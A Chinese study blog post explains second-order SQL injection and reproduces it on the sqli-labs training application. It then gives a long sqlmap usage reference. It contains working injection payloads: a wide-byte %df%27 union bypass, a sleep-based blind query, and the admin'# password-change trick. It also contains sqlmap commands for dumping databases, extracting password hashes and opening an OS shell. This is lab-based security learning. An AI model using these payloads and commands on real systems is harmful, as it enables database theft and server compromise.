二次注入
今天学习二次注入
二次注入原理
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到 SQL 查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
也就是说在应用程序中输入恶意造的数据库查询语句时会被转义,但是在数据库内部调用读取语句的时候又被还原。
二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
二次注入需要具备的两个条件:
(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string,addslahes等等转义)
(2)后端对从数据库中取出恶意数据没有进行过滤直接进行 sql语句 的拼接
有哪些注入可以绕过 addslashes 等过滤函数:
1.宽字节2.整型注入3.二次编码注入4.二次注入
复现今天的二次注入
sqli-labs — 24
先在网站注册个账户,分别是admin’ — 1
看一下注册代码
抓个包看一下
向 PHPSTORM 发包
可以看到使用了mysql_real_escape_string进行转义处理,无法进行SQL注入
可以看到传入的username、password、re_password仍均被mysql_escape_string进行了转义处理,但是在数据库中还是插入了admin’ — 1,
这是因为当数据写入到数据库的时候 反斜杠 会被移除,所以写入到数据库的内容就是原始数据,并不会在前面多了反斜杠。
数据库中查询的信息。如下:
在登陆页面先用用户admin’ — 1’进行登陆,登陆后发现可以进行密码修改。
可以看到使用了mysql_real_escape_string进行转义处理,无法进行 SQL注入。
原因:
#在数据库语言中起注释的作用,所以这样子的话,不知不觉中被更改密码的成了admin,而不是admin’ — 1’。
因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。
$sql = “UPDATE users SET PASSWORD=’ $pass ‘ where username=’ $username ‘ and password=’ $curr_pass ‘ ” ;
sqlmap的简单用法
sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
sqlmap支持五种不同的注入模式:
UNION query SQL injection(可联合查询注入)
Error-based SQL injection(报错型注入)
Boolean -based blind SQL injection(布尔型注入)
Time-based blind SQL injection(基于时间延迟注入)
Stacked queries SQL injection(可多语句查询注入)
支持数据库:Mysql、 Oracle 、 PostgreSQL 、 MSSQL 、Microsoft Access、IBM DB2、 SQLite 、 Firebird 、 Sybase 、SAP MaxDb
-U参数
-u “URL” : 指定URL,get请求方式
格式sqlmap.py -u
-M 参数
从文本中获取多个目标扫描,但是每 一行只能有一个url.
sqlmap -m urllist.txt
-R 参数
从文件中加载HTTP请求,这样的话 就不需要在去设定 Cookie ,POST数据……等等
设置回显等级
参数:-v 默认为1:
0、只显示 python 错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认等级)
2、同时显示debug信息。
3、同时显示注入的payload。 记住
4、同时显示HTTP请求。 记住
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
data参数:
此参数是把data后面的数据以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数。
python sqlmap.py -u “ “ —date=”username=admin&password=123”
Cookie 参数
当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到–cookie参数中。
–cookie=”Cookie: Hm_lvt6910067,1546929561,1547001094,1547024662; PHPSESSID=o64fbvo316lg59njufl2gfutm4; ”
参数:–cookie、–cookie-del、–drop-set-cookie和–load- cookies
有两种情况会用到这些参数:
要测试的页面只有在登录状态下才能访问,登录状态用cookie识别
想要检测是否存在cookie注入
当“–level”设置为2或更高时,Sqlmap会检测cookie是否存在注入漏洞
(1).“–cookie”和“–cookie-del”
在浏览器中登录目标网站后复制出维持登录状态的cookie,用参数“–cookie”来指定这些cookie,如:
python sqlmap.py -u “#34; –cookie “JSESSIONID=E5D6C8C81;NAME=werner;”
与POST参数不同,cookie默认的分隔符为“;”,想要指定cookie中的分隔符,使用参数“–cookie-del”。
User-Agent
参数:–user-agent和–random-agent
默认情况下Sqlmap发送的HTTP请求中的User-Agent值为:
1 |
sqlmap/1.0-dev-xxxxxxx ( |
使用参数“– User-Agent ”可以指定一个User-Agent值。但正常的User-Agent值长什么样我们可能并不记得,所以有了参数“–random-agent”,使用该参数,Sqlmap会从文件./txt/user-agents.txt中随机地取一个User-Agent。注意,在一次会话中只有使用同一个User-Agent,并不是每发一个HTTP请求包,都随机一个User-Agent。
用如下命令统计user-agents.txt行数:
1 |
cat sqlmap/txt/user-agents.txt | wc -l |
结果为4211,当然其中还包含空行、注释等,但总的来说该文件中存储的User-Agent也有4千多个。
当“–level”设置为3或更高时,Sqlmap会检测User-Agent是否存在注入漏洞,关于“–level”的更多信息见下文。
6.Host
参数:–host
使用该参数可以手动指定HTTP头中的Host值。
当“–level”设置为5或更高时,Sqlmap会检测Host是否存在注入漏洞,关于“–level”的更多信息见下文。
7.Referer
参数:–referer
使用该参数可以指定HTTP头中的Referer值。Sqlmap发送的HTTP请求头部默认无Referer字段。
当“–level”设置为3或更高时,Sqlmap会检测Referer是否存在注入漏洞,关于“–level”的更多信息见下文。
8.额外的HTTP头
参:–headers
使用该参数可以在Sqlmap发送的HTTP请求报文头部添加字段,若添加多个字段,用“\n”分隔。如命令:
python sqlmap.py -u “#34; -v 5 –headers “X-A:A\nX-B: B”
发送的HTTP请求包为:
GET / HTTP/1.1X-B: BHost: 192.168.56.101:8080Accept-encoding: gzip,deflateX-A: AAccept: */*User-agent:
加参数“-v 5”是为了让Sqlamp输出发送的HTTP请求包,便于我们观察。
–delay 参数
可以设定两个http请求间的延迟,设定为1的时候是1秒,默认是没有延迟的。
指定测试参数-p ,
默认情况下Sqlmap会测试所有GET参数和POST参数,当level大于等于2时会测试cookie参数,当level大于等于3时会测试User-Agent和Referer。实际上还可以手动指定一个以逗号分隔的、要测试的参数列表,该列表中的参数不受level限制。这就是“-p”的作用。
举个例子,若想只测试GET参数“id”和User-Agent,则可以这么写:
-p “id,user-agent”
–skip 参数
在使用–level时,级别很大的时候,但是有些参数不能去测试,那么可以使用–skip参数跳过。
如果不想测试某一参数则可以使用“–skip”。如设置了level为5但不想测试User-Agent和Referer,则可以这么写:
–level=5 –skip=”user-agent,referer”
–level (sqlmap -r 情况下)
共有五个等级,默认为1,sqlmap使用的payload可以在 xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。
level>=2的时候就会测试HTTP Cookie。
level>=3的时候就会测试HTTP User-Agent/Referer头。
level=5 的时候会测试HTTP Host。
–risk 参数
共有三个风险等级,1-3,
默认是1会测试大部分的测试语句,
2会增加基于时间的测试语句(heavy query),
3会增加OR语句的SQL注入测试。
在有些时候,例如在UPDATE,DELETE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
-列数据
— dbs ,–users用户名,–passwords密码,–is-dba可以判断当前权限
–technique :指定使用哪种注入类型
速度排序=联合(U)>报错(E)>布尔(Bool)>延迟(Time)
–current-db 当前数据库
–privileges 权限
-D 后面 表名
-D database_name –tables
-D database_name -T table_name –columns
-D database_name -T table_name -C column_1,column_2 –dump
–dump-all 将整个数据库的所有数据进行打包
–dbs 参数
查询当前用的下的所有数据库
该命令用于查询当前用户下的所有数据库,前提是当前用户有权限读取包含所有数据库列表信息的表
python sqlmap.py -u -p id -dbs
–current-db 当前数据库
python sqlmap.py -u -p id -techique U -current-db
获取数据库中所有表名
查询指定的数据库的所有表名,-D是指定某一个具体的数据库,如果没有指定,则会列出数据库中所有的库的表
python sqlmap.py -u -p id -techique U -D security -tables
获取表中的字段名:
sqlmap -u URL -D 数据库名 -T user_info –-columns
user_info 是数据库中的一个表
python sqlmap.py -u -p id -techique U -D security -T users –columns
获取字段内容:
sqlmap -u URL -D 数据库名 -T 表名 -C username,password –-dump
这里查询username和password的值
获取数据库的所有用户:
sqlmap -u URL –-users
前提是当前用户有权限读取包含所有用户的表的权限
获取数据库用户的密码:
sqlmap -u url –passwords
列出数据库用户的密码,前提是当前用户有读取包含用户密码的权限
获取当前网站数据库的用户名称:
sqlmap -u URL –-current-user
sqlmap里怎么清除缓存问题
这里我们用–purge就解决了。
sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell */
sqlmap (–os-shell)的使用
第二步 扫描注入点
python sqlmap.py -u –os-shell
第三步 选择网站的语言
第四步 输入网站的绝对路径
Sqli less-31
加单双引号看一下
双引号报错 存在注入
\
闭合成功
order by 4 报错 存在3列
判断显示位
2,3 都是回显位
获取所有库名
获取所有表名
获取所有字段
Sqli less-31
函数addslashes 单双引号 过滤了
存在宽子节注入 GB3212 GBK GB18030 都宽字节
%df 吃掉/
获取所有表名联合
s –%201
获取所有报错方法库名
获取所有报错表名
Sqli less-33
发现‘ 被过滤了
那么 宽字节绕过
?id=- 1 %df% 27 %20union%20 select % 201 ,database(), 3 % 23
此处过滤使用函数addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号 (’)
双引号(”)
反斜杠(\)
和32关一样
Sqli less-47
根据提示需要使用sort进行注入
单引号错误
报错显示我们多了一个”将其注释?sort=1’ –+成功
试了一下联合注入报错
尝试使用报错注入
– + 成功
可以用报错注入
Sqli less-48
Print_r(mysql_error());
没有报错显示
尝试一下bool sleep时间注入
大概就这样
select * from users where id=”1″ and if (ascii( substr (database(),1,1))> 111, sleep(3),1) — 1
相关文章
本站已关闭游客评论,请登录或者注册后再评论吧~